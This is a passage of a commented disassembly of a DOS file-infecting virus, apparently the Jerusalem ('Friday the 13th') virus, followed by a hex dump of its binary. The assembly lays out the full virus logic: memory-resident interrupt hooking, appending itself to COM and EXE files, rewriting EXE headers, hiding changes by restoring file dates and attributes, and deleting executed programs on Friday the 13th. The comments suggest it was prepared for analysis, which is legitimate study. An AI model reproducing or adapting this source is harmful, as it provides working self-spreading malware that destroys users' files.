   MOV  ES,CS:[A0031]       ;
   INT  21H            ;MODIFY ALLOCATED MEMORY BLOCKS
                       ;
   MOV  AX,3521             ;
   INT  21H            ;GET VECTOR
   MOV  CS:[OLD_21],BX      ;
   MOV  CS:[OLD_21+2],ES    ;
                       ;
   PUSH CS             ;0181     0E
   POP  DS             ;0182     1F
   MOV  DX,offset NEW_INT_21     ;0183     BA5B02
   MOV  AX,2521             ;
   INT  21H            ;SAVE VECTOR
                       ;
   MOV  ES,[A0031]          ;018B     8E063100
   MOV  ES,ES:[A002C]       ;018F     268E062C00
   XOR  DI,DI               ;0194     33FF
   MOV  CX,7FFFH       ;0196     B9FF7F
   XOR  AL,AL               ;0199     32C0
   REPNE     SCASB               ;019C     AE
   CMP  ES:[DI],AL          ;019D     263805
   LOOPNZ    019B           ;01A0     E0F9
   MOV  DX,DI               ;01A2     8BD7
   ADD  DX,+03              ;01A4     83C203
   MOV  AX,4B00H       ;LOAD AND EXECUTE A PROGRAM
   PUSH ES             ;
   POP  DS             ;
   PUSH CS             ;
   POP  ES             ;
   MOV  BX,35H              ;
                       ;
   PUSH DS        ;01B1     ;
   PUSH ES             ;
   PUSH AX             ;
   PUSH BX             ;
   PUSH CX             ;
   PUSH DX             ;
                       ;
   MOV  AH,2AH              ;
   INT  21H            ;GET DATE
                       ;
   MOV  Byte ptr CS:[TIME_BOMB],0 ;SET "DONT DIE"
                       ;
   CMP  CX,1987             ;IF 1987...
   JE   L01F7               ;...JUMP
   CMP  AL,5           ;IF NOT FRIDAY...
   JNE  L01D8               ;...JUMP
   CMP  DL,0DH              ;IF DATE IS NOT THE 13th...
   JNE  L01D8               ;...JUMP
   INC  Byte ptr CS:[TIME_BOMB]  ;TIC THE BOMB COUNT
   JMP  L01F7               ;
                       ;
L01D8:   MOV  AX,3508H       ;GET CLOCK TIMER VECTOR
   INT  21H            ;GET VECTOR
   MOV  CS:[OLD_08],BX      ;
   MOV  CS:[OLD_08],ES      ;
                       ;
   PUSH CS             ;DS=CS
   POP  DS             ;
                       ;
   MOV  Word ptr [A_FLAG],7E90H  ;
                       ;
   MOV  AX,2508H       ;SET NEW CLOCK TIC HANDLER
   MOV  DX,offset NEW_08    ;
   INT  21H            ;SET VECTOR
                       ;
L01F7:   POP  DX             ;
   POP  CX             ;
   POP  BX             ;
   POP  AX             ;
   POP  ES             ;
   POP  DS             ;
   PUSHF                    ;
   CALL far CS:[OLD_21]     ;
   PUSH DS             ;
   POP  ES             ;
                       ;
   MOV  AH,49H              ;
   INT  21H            ;FREE ALLOCATED MEMORY
                       ;
   MOV  AH,4DH              ;
   INT  21H            ;GET RETURN CODE OF A SUBPROCESS
                       ;
;---------------------------------------;
; THIS IS WHERE WE REMAIN RESIDENT     ;
;---------------------------------------;
   MOV  AH,31H              ;
   MOV  DX,0600H  ;020F     ;
   MOV  CL,04               ;
   SHR  DX,CL               ;
   ADD  DX,10H              ;
   INT  21H            ;TERMINATE AND REMAIN RESIDENT
                       ;
;---------------------------------------;
NEW_24:  XOR  AL,AL          ;021B     ;CRITICAL ERROR HANDLER
   IRET                ;
                       ;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 08 (CLOCK TIC) HANDLER                     ;
;-----------------------------------------------------------------------;
NEW_08:  CMP  Word ptr CS:[A_FLAG],2   ;021E
   JNE  N08_10              ;IF ... JUMP
                       ;
   PUSH AX             ;
   PUSH BX             ;
   PUSH CX             ;
   PUSH DX             ;
   PUSH BP             ;
   MOV  AX,0602H       ;SCROLL UP TWO LINES
   MOV  BH,87H              ;INVERSE VIDEO ATTRIBUTE
   MOV  CX,0505H       ;UPPER LEFT CORNER
   MOV  DX,1010H       ;LOWER RIGHT CORNER
   INT  10H            ;
   POP  BP             ;
   POP  DX             ;
   POP  CX             ;
   POP  BX             ;
   POP  AX             ;
                       ;
N08_10:  DEC  Word ptr CS:[A_FLAG]     ;ASSURE THAT THIS ONLY HAPPENS ONCE
   JNZ  N08_90              ;   BY RESETTING TO 1 IF EQUAL TO ZERO
   MOV  Word ptr CS:[A_FLAG],1   ;
                       ;
   PUSH AX             ;????? IS THIS SOME KIND OF DELAY ?????
   PUSH CX             ;*** COMMENTS SOLICITED ****
   PUSH SI             ;
   MOV  CX,4001H       ;
   REP  LODSB               ;
   POP  SI             ;
   POP  CX             ;
   POP  AX             ;
                       ;
N08_90:  JMP  far CS:[OLD_08]          ;PASS CONTROL TO OLD INT 08 VECTOR
                       ;
;-----------------------------------------------------------------------;
; NEW INTERRUPT 21 HANDLER                            ;
;-----------------------------------------------------------------------;
NEW_21:  PUSHF               ;025B     ;
   CMP  AH,0E0H             ;IF A E0 REQUEST...
   JNE  N21_10              ;
   MOV  AX,300H             ;...RETURN AX = 300H
   POPF                ;   (OUR PUSHF)
   IRET                ;
                       ;
N21_10:  CMP  AH,0DDH        ;0266     ;
   JE   N21_30              ;IF DDH...JUMP TO _30
   CMP  AH,0DEH             ;
   JE   N21_40              ;IF DEH...JUMP TO _40
   CMP  AX,4B00H       ;IF SPAWN A PROG...
   JNE  N21_20              ;
   JMP  N21_50              ;...JUMP TO _50
                       ;
N21_20:  POPF                ;   (OUR PUSHF)
   JMP  far CS:[OLD_21]          ;ANY OTHER INT 21 GOES TO OLD VECTOR
                       ;
N21_30:  POP  AX             ;REMOVE OUR (PUSHF)
   POP  AX             ;?
   MOV  AX,100H             ;
   MOV  CS:[000A],AX        ;
   POP  AX             ;
   MOV  CS:[000C],AX        ;
   REP  MOVSB               ;
   POPF                ;   (OUR PUSHF)
   MOV  AX,CS:[000F]        ;
   JMP  far CS:[000A]       ;
                       ;
N21_40:  ADD  SP,+06         ;0298     ;
   POPF                ;   (OUR PUSHF)
   MOV  AX,CS               ;
   MOV  SS,AX               ;
   MOV  SP,710H             ;SIZE OF VIRUS CODE
   PUSH ES             ;
   PUSH ES             ;02A4     06
   XOR  DI,DI               ;02A5     33FF
   PUSH CS             ;02A7     0E
   POP  ES             ;02A8     07
   MOV  CX,0010             ;02A9     B91000
   MOV  SI,BX               ;02AC     8BF3
   MOV  DI,0021             ;02AE     BF2100
   REP  MOVSB               ;02B2     A4
   MOV  AX,DS               ;02B3     8CD8
   MOV  ES,AX               ;02B5     8EC0
   MUL  Word ptr CS:[A007A] ;02B7     2EF7267A00
   ADD  AX,CS:[002B]        ;02BC     2E03062B00
   ADC  DX,+00              ;02C1     83D200
   DIV  Word ptr CS:[A007A] ;02C4     2EF7367A00
   MOV  DS,AX               ;02C9     8ED8
   MOV  SI,DX               ;02CB     8BF2
   MOV  DI,DX               ;02CD     8BFA
   MOV  BP,ES               ;02CF     8CC5
   MOV  BX,CS:[002F]        ;02D1     2E8B1E2F00
   OR   BX,BX               ;02D6     0BDB
   JE   02ED           ;02D8     7413
   MOV  CX,8000             ;02DA     B90080
   REP  MOVSW               ;02DE     A5
   ADD  AX,1000             ;02DF     050010
   ADD  BP,1000             ;02E2     81C50010
   MOV  DS,AX               ;02E6     8ED8
   MOV  ES,BP               ;02E8     8EC5
   DEC  BX             ;02EA     4B
   JNE  02DA           ;02EB     75ED
   MOV  CX,CS:[002D]        ;02ED     2E8B0E2D00
   REP  MOVSB               ;02F3     A4
   POP  AX             ;02F4     58
   PUSH AX             ;02F5     50
   ADD  AX,0010             ;02F6     051000
   ADD  CS:[0029],AX        ;02F9     2E01062900
   ADD  CS:[0025],AX        ;02FE     2E01062500
   MOV  AX,CS:[0021]        ;0303     2EA12100
   POP  DS             ;0307     1F
   POP  ES             ;0308     07
   MOV  SS,CS:[0029]        ;0309     2E8E162900
   MOV  SP,CS:[0027]        ;030E     2E8B262700
   JMP  far CS:[0023]       ;0313     2EFF2E2300
                       ;
;---------------------------------------;
; IT IS TIME FOR THIS FILE TO DIE...   ;
; THIS IS WHERE IT GETS DELETED ! ;
;---------------------------------------;
N21_5A:  XOR  CX,CX               ;
   MOV  AX,4301H       ;
   INT  21H            ;CHANGE FILE MODE (ATT=0)
                       ;
   MOV  AH,41H              ;
   INT  21H            ;DELETE A FILE
                       ;
   MOV  AX,4B00H       ;LOAD AND EXECUTE A PROGRAM
   POPF                ;   (OUR PUSHF)
   JMP  far CS:[OLD_21]          ;
                       ;
;---------------------------------------;
; START INFECTION            ;
;---------------------------------------;
N21_50:  CMP  Byte ptr CS:[TIME_BOMB],1 ;032C ;IF TIME TO DIE...
   JE   N21_5A              ;...JUMP
                       ;
   MOV  Word ptr CS:[HANDLE],-1  ;ASSUME NOT OPEN
   MOV  Word ptr CS:[A008F],0    ;
   MOV  word ptr CS:[HOST_NAME],DX   ;SAVE POINTER TO FILE NAME
   MOV  word ptr CS:[HOST_NAME+2],DS ;
                       ;
;INFECTION PROCESS OCCURS HERE    ;
   PUSH AX             ;034C     50
   PUSH BX             ;034D     53
   PUSH CX             ;034E     51
   PUSH DX             ;034F     52
   PUSH SI             ;0350     56
   PUSH DI             ;0351     57
   PUSH DS             ;0352     1E
   PUSH ES             ;0353     06
   CLD                 ;0354     FC
   MOV  DI,DX               ;0355     8BFA
   XOR  DL,DL               ;0357     32D2
   CMP  Byte ptr [DI+01],3A ;0359     807D013A
   JNE  L0364               ;035D     7505
   MOV  DL,[DI]             ;035F     8A15
   AND  DL,1F               ;0361     80E21F
                       ;
L0364:   MOV  AH,36               ;
   INT  21H            ;GET DISK FREE SPACE
   CMP  AX,-1               ;0368     3DFFFF
   JNE  L0370               ;036B     7503
L036D:   JMP  I_90           ;036D     E97702
                       ;
L0370:   MUL  BX             ;0370     F7E3
   MUL  CX             ;0372     F7E1
   OR   DX,DX               ;0374     0BD2
   JNE  L037D               ;0376     7505
   CMP  AX,710H             ;0378     3D1007
   JC   L036D               ;037B     72F0
L037D:   MOV  DX,word ptr CS:[HOST_NAME]
   PUSH DS             ;0382     1E
   POP  ES             ;0383     07
   XOR  AL,AL               ;0384     32C0
   MOV  CX,41               ;0386     B94100
   REPNE     SCASB               ;038A     AE
   MOV  SI,word ptr CS:[HOST_NAME]
L0390:   MOV  AL,[SI]             ;0390     8A04
   OR   AL,AL               ;0392     0AC0
   JE   L03A4               ;0394     740E
   CMP  AL,61               ;0396     3C61
   JC   L03A1               ;0398     7207
   CMP  AL,7A               ;039A     3C7A
   JA   L03A1               ;039C     7703
   SUB  Byte ptr [SI],20    ;039E     802C20
L03A1:   INC  SI             ;03A1     46
   JMP  L0390               ;03A2     EBEC
                       ;
L03A4:   MOV  CX,000B             ;03A4     B90B00
   SUB  SI,CX               ;03A7     2BF1
   MOV  DI,offset COMMAND_COM    ;03A9     BF8400
   PUSH CS             ;03AC     0E
   POP  ES             ;03AD     07
   MOV  CX,000B             ;03AE     B90B00
   REPE CMPSB               ;03B2     A6
   JNE  L03B8               ;03B3     7503
   JMP  I_90           ;03B5     E92F02
                       ;
L03B8:   MOV  AX,4300H       ;
   INT  21H            ;CHANGE FILE MODE
   JC   L03C4               ;03BD     7205
                       ;
   MOV  CS:[HOST_ATT],CX    ;03BF     ;
L03C4:   JC   L03EB               ;03C4     7225
   XOR  AL,AL               ;03C6     32C0
   MOV  CS:[A004E],AL       ;03C8     2EA24E00
   PUSH DS             ;03CC     1E
   POP  ES             ;03CD     07
   MOV  DI,DX               ;03CE     8BFA
   MOV  CX,41               ;03D0     B94100
   REPNZ     SCASB               ;03D4     AE
   CMP  Byte ptr [DI-02],4D ;03D5     807DFE4D
   JE   L03E6               ;03D9     740B
   CMP  Byte ptr [DI-02],6D ;03DB     807DFE6D
   JE   L03E6               ;03DF     7405
   INC  Byte ptr CS:[A004E] ;03E1     2EFE064E00
                       ;
L03E6:   MOV  AX,3D00H       ;
   INT  21H            ;OPEN FILE READ ONLY
L03EB:   JC   L0447               ;
   MOV  CS:[HANDLE],AX ;03ED     ;
                       ;
   MOV  BX,AX               ;MOVE TO END OF FILE -5
   MOV  AX,4202             ;
   MOV  CX,-1               ;FFFFFFFB
   MOV  DX,-5               ;
   INT  21H            ;MOVE FILE POINTER
   JC   L03EB               ;
                       ;
   ADD  AX,5      ;0400     ;
   MOV  CS:[A0011],AX       ;?SAVE HOST SIZE
                       ;
   MOV  CX,5      ;0407     ;READ LAST 5 BYTES OF HOST
   MOV  DX,offset A006B          ;
   MOV  AX,CS               ;
   MOV  DS,AX               ;
   MOV  ES,AX               ;
   MOV  AH,3FH              ;
   INT  21H            ;READ FROM A FILE
                       ;
   MOV  DI,DX          ;0417     ;CHECK IF LAST 5 BYTES = 'MsDos'
   MOV  SI,offset MS_DOS    ;
   REPE CMPSB               ;
   JNE  L0427               ;
   MOV  AH,3E               ;IF == 'MsDos'...
   INT  21H            ;CLOSE FILE
   JMP  I_90           ;...PASS CONTROL TO DOS
                       ;
L0427:   MOV  AX,3524             ;GET CRITICAL ERROR VECTOR
   INT  21H            ;GET VECTOR
   MOV  [OLD_24],BX         ;
   MOV  [OLD_24+2],ES       ;
                       ;
   MOV  DX,offset NEW_24    ;
   MOV  AX,2524             ;SET CRITICAL ERROR VECTOR
   INT  21H            ;SET VECTOR
                       ;
   LDS  DX,dword ptr [HOST_NAME];
   XOR  CX,CX               ;
   MOV  AX,4301H       ;
   INT  21H            ;CHANGE FILE MODE
L0447:   JC   L0484               ;
                       ;
   MOV  BX,CS:[HANDLE]      ;
   MOV  AH,3E               ;
   INT  21H            ;CLOSE FILE
                       ;
   MOV  Word ptr CS:[HANDLE],-1  ;CLEAR HANDLE
                       ;
   MOV  AX,3D02             ;
   INT  21H            ;OPEN FILE R/W
   JC   L0484               ;
                       ;
   MOV  CS:[HANDLE],AX      ;0460     2EA37000
   MOV  AX,CS               ;0464     8CC8
   MOV  DS,AX               ;0466     8ED8
   MOV  ES,AX               ;0468     8EC0
   MOV  BX,[HANDLE]         ;046A     8B1E7000
   MOV  AX,5700             ;046E     B80057
   INT  21H            ;GET/SET FILE DATE TIME
                       ;
   MOV  [HOST_DATE],DX      ;0473     89167400
   MOV  [HOST_TIME],CX      ;0477     890E7600
   MOV  AX,4200             ;047B     B80042
   XOR  CX,CX               ;047E     33C9
   MOV  DX,CX               ;0480     8BD1
   INT  21H            ;MOVE FILE POINTER
L0484:   JC   L04C3               ;0484     723D
                       ;
   CMP  Byte ptr [A004E],00 ;0486     803E4E0000
   JE   L0490               ;048B     7403
   JMP  L04E6               ;048D     EB57
                       ;
   NOP                 ;048F     90
L0490:   MOV  BX,1000             ;0490     BB0010
   MOV  AH,48               ;0493     B448
   INT  21H            ;ALLOCATE MEMORY
   JNC  L04A4               ;0497     730B
                       ;
   MOV  AH,3E               ;0499     B43E
   MOV  BX,[HANDLE]         ;049B     8B1E7000
   INT  21H            ;CLOSE FILE (OBVIOUSLY)
   JMP  I_90           ;04A1     E94301
                       ;
L04A4:   INC  Word ptr [A008F]    ;04A4     FF068F00
   MOV  ES,AX               ;04A8     8EC0
   XOR  SI,SI               ;04AA     33F6
   MOV  DI,SI               ;04AC     8BFE
   MOV  CX,710H             ;04AE     B91007
   REP  MOVSB               ;04B2     A4
   MOV  DX,DI               ;04B3     8BD7
   MOV  CX,[A0011]          ;?GET HOST SIZE - YES
   MOV  BX,[70H]       ;04B9     8B1E7000
   PUSH ES             ;04BD     06
   POP  DS             ;04BE     1F
   MOV  AH,3FH              ;04BF     B43F
   INT  21H            ;READ FROM A FILE
L04C3:   JC   L04E1               ;04C3     721C
                       ;
   ADD  DI,CX               ;04C5     03F9
                       ;
   XOR  CX,CX               ;POINT TO BEGINNING OF FILE
   MOV  DX,CX               ;
   MOV  AX,4200H       ;
   INT  21H            ;MOVE FILE POINTER
                       ;
   MOV  SI,offset MS_DOS    ;04D0     BE0500
   MOV  CX,5           ;04D3     B90500
   REP  CS:MOVSB       ;04D7     2EA4
   MOV  CX,DI               ;04D9     8BCF
   XOR  DX,DX               ;04DB     33D2
   MOV  AH,40H              ;
   INT  21H            ;WRITE TO A FILE
L04E1:   JC   L04F0               ;
   JMP  L05A2               ;
                       ;
;---------------------------------------;
; READ EXE HEADER            ;
;---------------------------------------;
L04E6:   MOV  CX,1CH              ;READ EXE HEADER INTO BUFFER
   MOV  DX,offset EXE_HDR   ;
   MOV  AH,3F               ;
   INT  21H            ;READ FILE
   JC   L053C               ;
                       ;
;---------------------------------------;
; TWEEK EXE HEADER TO INFECTED HSOT    ;
;---------------------------------------;
   MOV  Word ptr [EXE_HDR+18],1984H ;SAVE HOST'S EXE HEADER INFO
   MOV  AX,[EXE_HDR+14]          ;   SS
   MOV  [HOST_SS],AX        ;
   MOV  AX,[EXE_HDR+16]          ;   SP
   MOV  [HOST_SP],AX        ;
   MOV  AX,[EXE_HDR+20]          ;   IP
   MOV  [HOST_IP],AX        ;
   MOV  AX,[EXE_HDR+22]          ;   CS
   MOV  [HOST_CS],AX        ;
   MOV  AX,[EXE_HDR+4]      ;   SIZE (IN 512 BLOCKS)
   CMP  Word ptr [EXE_HDR+2],0   ;   SIZE MOD 512
   JZ   L051B               ;IF FILE SIZE==0...JMP
   DEC  AX             ;
L051B:   MUL  Word ptr [BLOCK_SIZE]    ;
   ADD  AX,[EXE_HDR+2]      ;
   ADC  DX,0           ;AX NOW = FILE SIZE
                       ;
   ADD  AX,0FH              ;MAKE SURE FILE SIZE IS PARA. BOUND
   ADC  DX,0           ;
   AND  AX,0FFF0H      ;
   MOV  [HOST_SIZE],AX      ;SAVE POINTER TO BEGINNING OF VIRUS
   MOV  [HOST_SIZE+2],DX    ;
                       ;
   ADD  AX,710H             ;(SIZE OF VIRUS)
   ADC  DX,0           ;
L053C:   JC   L0578               ;IF > FFFFFFFF...JMP
   DIV  Word ptr [BLOCK_SIZE]    ;
   OR   DX,DX               ;
   JE   L0547               ;
   INC  AX             ;
L0547:   MOV  [EXE_HDR+4],AX      ;
   MOV  [EXE_HDR+2],DX      ;
                       ;---------------;
   MOV  AX,[HOST_SIZE]                ;DX:AX = HOST SIZE
   MOV  DX,[HOST_SIZE+2]              ;
   DIV  Word ptr [A007A]              ;
   SUB  AX,[EXE_HEAD+8]                    ;SIZE OF EXE HDR
   MOV  [EXE_HDR+22],AX                    ;VALUE OF CS
   MOV  Word ptr [EXE_HDR+20],offset BEGIN_EXE  ;VALUE OF IP
   MOV  [EXE_HDR+14],AX                    ;VALUE OF SS
   MOV  Word ptr [EXE_HDR+16],710H         ;VALUE OF SP
                       ;---------------;
   XOR  CX,CX               ;POINT TO BEGINNING OF FILE (EXE HDR)
   MOV  DX,CX               ;
   MOV  AX,4200H       ;
   INT  21H            ;MOVE FILE POINTER
L0578:   JC   L0584               ;
                       ;
;---------------------------------------;
; WRITE INFECTED EXE HEADER       ;
;---------------------------------------;
   MOV  CX,1CH              ;
   MOV  DX,offset EXE_HDR   ;
   MOV  AH,40H              ;
   INT  21H            ;WRITE TO A FILE
L0584:   JC   L0597               ;
   CMP  AX,CX               ;
   JNE  L05A2               ;
                       ;
   MOV  DX,[HOST_SIZE]      ;POINT TO END OF FILE
   MOV  CX,[HOST_SIZE+2]    ;
   MOV  AX,4200             ;
   INT  21H            ;MOVE FILE POINTER
L0597:   JC   L05A2               ;
                       ;
;---------------------------------------;
; WRITE VIRUS CODE TO END OF HOST ;
;---------------------------------------;
   XOR  DX,DX               ;
   MOV  CX,710H             ;(SIZE OF VIRUS)
   MOV  AH,40H              ;
   INT  21H            ;WRITE TO A FILE
                       ;
L05A2:   CMP  Word ptr CS:[008F],0     ;IF...
   JZ   L05AE               ;...SKIP
   MOV  AH,49H              ;
   INT  21H            ;FREE ALLOCATED MEMORY
                       ;
L05AE:   CMP  Word ptr CS:[HANDLE],-1  ;IF ...
   JE   I_90           ;...SKIP
                       ;
   MOV  BX,CS:[HANDLE]      ;RESTORE HOST'S DATE/TIME
   MOV  DX,CS:[HOST_DATE]   ;
   MOV  CX,CS:[HOST_TIME]   ;
   MOV  AX,5701H       ;
   INT  21H            ;GET/SET FILE DATE/TIME
                       ;
   MOV  AH,3EH              ;
   INT  21H            ;CLOSE FILE
                       ;
   LDS  DX,CS:[HOST_NAME]   ;RESTORE HOST'S ATTRIBUTE
   MOV  CX,CS:[HOST_ATT]    ;
   MOV  AX,4301H       ;
   INT  21H            ;CHANGE FILE MODE
                       ;
   LDS  DX,dword ptr CS:[OLD_24];RESTORE CRITICAL ERROR HANDLER
   MOV  AX,2524H       ;
   INT  21H            ;SET VECTOR
                       ;
I_90:    POP  ES             ;
   POP  DS             ;
   POP  DI             ;
   POP  SI             ;
   POP  DX             ;
   POP  CX             ;
   POP  BX             ;
   POP  AX             ;
   POPF                ;   (OUR PUSHF)
   JMP  far CS:[OLD_21]          ;PASS CONTROL TO DOS
                       ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
;0100  E9 92 00 73 55 4D 73 44-6F 73 00 01 15 18 00 00  i..sUMsDos......
;0110  00 00 01 A5 FE 00 F0 60-14 4E 02 56 05 A5 16 48  ...%~.p`.N.V.%.H
;0120  7E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ~...............
;0130  00 8E 17 80 00 00 00 80-00 8E 17 5C 00 8E 17 6C  ...........\...l
;0140  00 8E 17 10 07 7A 34 C5-00 7A 34 10 F0 82 00 4D  .....z4E.z4.p..M
;0150  5A D0 00 98 00 31 00 20-00 11 00 FF FF 5C 12 10  ZP...1. .....\..
;0160  07 84 19 C5 00 5C 12 20-00 00 00 C3 C3 C3 C3 C3  ...E.\. ...CCCCC
;0170  05 00 20 00 21 00 2D 00-00 02 10 00 C0 27 01 00  .. .!.-.....@'..
;0180  D9 41 28 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 01  YA(.COMMAND.COM.
;0190  00 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80  .....|4`M!.|`s..
;01A0  FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B  |.r.4]?..>...w..
;01B0  8D 11 00 CD 21 8C C8 05-10 00 8E D0 BC 00 07 50  ...M!.H....P<..P
;01C0  B8 C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39  8E.PK|....1....9
;01D0  00 2E 8C 06 3D 00 2E 8C-06 41 00 8C C0 05 10 00  ....=....A..@...
;01E0  2E 01 06 49 00 2E 01 06-45 00 B4 E0 CD 21 80 FC  ...I....E.4`M!.|
;01F0  E0 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43  `s..|.....E...&C
;0200  00 2E FF 2E 47 00 33 C0-8E C0 26 A1 FC 03 2E A3  ....G.3@.@&!|..#
;0210  4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3  K.& ~.."M.&G.|.s
;0220  A5 26 C6 06 FE 03 CB 58-05 10 00 8E C0 0E 1F B9  %&F.~.KX....@..9
;0230  10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03  ..Qi3v.~.8B.Pj|.
;0240  00 00 8C C8 8E D0 BC 00-07 33 C0 8E D8 2E A1 4B  ...H.P<..3@.X.!K
;0250  00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3  .#|.. M."~..\1.S
;0260  EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E 8E 06 31 00  k.C....3.4J...1.
;0270  CD 21 B8 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19  M!8!5M!.........
;0280  00 0E 1F BA 5B 02 B8 21-25 CD 21 8E 06 31 00 26  ...:[.8!%M!..1.&
;0290  8E 06 2C 00 33 FF B9 FF-7F 32 C0 F2 AE 26 38 05  ..,.3.9..2@r.&8.
;02A0  E0 F9 8B D7 83 C2 03 B8-00 4B 06 1F 0E 07 BB 35  `y.W.B.8.K....;5
;02B0  00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00  ...PSQR4*M!.F...
;02C0  00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08  ..yC.t0<.u..z.u.
;02D0  2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E  .~...k .8.5M!...
;02E0  13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8  .........G....~8
;02F0  08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF  .%:..M!ZY[X.....
;0300  1E 17 00 1E 07 B4 49 CD-21 B4 4D CD 21 B4 31 BA  .....4IM!4MM!41:
;0310  00 06 B1 04 D3 EA 83 C2-10 CD 21 32 C0 CF 2E 83  ..1.Sj.B.M!2@O..
;0320  3E 1F 00 02 75 17 50 53-51 52 55 B8 02 06 B7 87  >...u.PSQRU8..7.
;0330  B9 05 05 BA 10 10 CD 10-5D 5A 59 5B 58 2E FF 0E  9..:..M.]ZY[X...
;0340  1F 00 75 12 2E C7 06 1F-00 01 00 50 51 56 B9 01  ..u..G.....PQV9.
;0350  40 F3 AC 5E 59 58 2E FF-2E 13 00 9C 80 FC E0 75  @s,^YX.......|`u
;0360  05 B8 00 03 9D CF 80 FC-DD 74 13 80 FC DE 74 28  .8...O.|]t..|^t(
;0370  3D 00 4B 75 03 E9 B4 00-9D 2E FF 2E 17 00 58 58  =.Ku.i4.......XX
;0380  B8 00 01 2E A3 0A 00 58-2E A3 0C 00 F3 A4 9D 2E  8...#..X.#..s$..
;0390  A1 0F 00 2E FF 2E 0A 00-83 C4 06 9D 8C C8 8E D0  !........D...H.P
;03A0  BC 10 07 06 06 33 FF 0E-07 B9 10 00 8B F3 BF 21  <....3...9...s?!
;03B0  00 F3 A4 8C D8 8E C0 2E-F7 26 7A 00 2E 03 06 2B  .s$.X.@.w&z....+
;03C0  00 83 D2 00 2E F7 36 7A-00 8E D8 8B F2 8B FA 8C  ..R..w6z..X.r.z.
;03D0  C5 2E 8B 1E 2F 00 0B DB-74 13 B9 00 80 F3 A5 05  E.../..[t.9..s%.
;03E0  00 10 81 C5 00 10 8E D8-8E C5 4B 75 ED 2E 8B 0E  ...E...X.EKum...
;03F0  2D 00 F3 A4 58 50 05 10-00 2E 01 06 29 00 2E 01  -.s$XP......)...
;0400  06 25 00 2E A1 21 00 1F-07 2E 8E 16 29 00 2E 8B  .%..!!......)...
;0410  26 27 00 2E FF 2E 23 00-33 C9 B8 01 43 CD 21 B4  &'....#.3I8.CM!4
;0420  41 CD 21 B8 00 4B 9D 2E-FF 2E 17 00 2E 80 3E 0E  AM!8.K........>.
;0430  00 01 74 E4 2E C7 06 70-00 FF FF 2E C7 06 8F 00  ..td.G.p....G...
;0440  00 00 2E 89 16 80 00 2E-8C 1E 82 00 50 53 51 52  ............PSQR
;0450  56 57 1E 06 FC 8B FA 32-D2 80 7D 01 3A 75 05 8A  VW..|.z2R.}.:u..
;0460  15 80 E2 1F B4 36 CD 21-3D FF FF 75 03 E9 77 02  ..b.46M!=..u.iw.
;0470  F7 E3 F7 E1 0B D2 75 05-3D 10 07 72 F0 2E 8B 16  wcwa.Ru.=..rp...
;0480  80 00 1E 07 32 C0 B9 41-00 F2 AE 2E 8B 36 80 00  ....2@9A.r...6..
;0490  8A 04 0A C0 74 0E 3C 61-72 07 3C 7A 77 03 80 2C  ...@t. ;04A0  20 46 EB EC B9 0B 00 2B-F1 BF 84 00 0E 07 B9 0B   Fkl9..+q?....9.
;04B0  00 F3 A6 75 03 E9 2F 02-B8 00 43 CD 21 72 05 2E  .s&u.i/.8.CM!r..
;04C0  89 0E 72 00 72 25 32 C0-2E A2 4E 00 1E 07 8B FA  ..r.r%2@."N....z
;04D0  B9 41 00 F2 AE 80 7D FE-4D 74 0B 80 7D FE 6D 74  9A.r..}~Mt..}~mt
;04E0  05 2E FE 06 4E 00 B8 00-3D CD 21 72 5A 2E A3 70  ..~.N.8.=M!rZ.#p
;04F0  00 8B D8 B8 02 42 B9 FF-FF BA FB FF CD 21 72 EB  ..X8.B9..:{.M!rk
;0500  05 05 00 2E A3 11 00 B9-05 00 BA 6B 00 8C C8 8E  ....#..9..:k..H.
;0510  D8 8E C0 B4 3F CD 21 8B-FA BE 05 00 F3 A6 75 07  X.@4?M!.z>..s&u.
;0520  B4 3E CD 21 E9 C0 01 B8-24 35 CD 21 89 1E 1B 00  4>M!i@.8$5M!....
;0530  8C 06 1D 00 BA 1B 02 B8-24 25 CD 21 C5 16 80 00  ....:..8$%M!E...
;0540  33 C9 B8 01 43 CD 21 72-3B 2E 8B 1E 70 00 B4 3E  3I8.CM!r;...p.4>
;0550  CD 21 2E C7 06 70 00 FF-FF B8 02 3D CD 21 72 24  M!.G.p...8.=M!r$
;0560  2E A3 70 00 8C C8 8E D8-8E C0 8B 1E 70 00 B8 00  .#p..H.X.@..p.8.
;0570  57 CD 21 89 16 74 00 89-0E 76 00 B8 00 42 33 C9  WM!..t...v.8.B3I
;0580  8B D1 CD 21 72 3D 80 3E-4E 00 00 74 03 EB 57 90  .QM!r=.>N..t.kW.
;0590  BB 00 10 B4 48 CD 21 73-0B B4 3E 8B 1E 70 00 CD  ;..4HM!s.4>..p.M
;05A0  21 E9 43 01 FF 06 8F 00-8E C0 33 F6 8B FE B9 10  !iC......@3v.~9.
;05B0  07 F3 A4 8B D7 8B 0E 11-00 8B 1E 70 00 06 1F B4  .s$.W......p...4
;05C0  3F CD 21 72 1C 03 F9 33-C9 8B D1 B8 00 42 CD 21  ?M!r..y3I.Q8.BM!
;05D0  BE 05 00 B9 05 00 F3 2E-A4 8B CF 33 D2 B4 40 CD  >..9..s.$.O3R4@M
;05E0  21 72 0D E9 BC 00 B9 1C-00 BA 4F 00 B4 3F CD 21  !r.i<.9..:O.4?M!
;05F0  72 4A C7 06 61 00 84 19-A1 5D 00 A3 45 00 A1 5F  rJG.a...!].#E.!_
;0600  00 A3 43 00 A1 63 00 A3-47 00 A1 65 00 A3 49 00  .#C.!c.#G.!e.#I.
;0610  A1 53 00 83 3E 51 00 00-74 01 48 F7 26 78 00 03  !S..>Q..t.Hw&x..
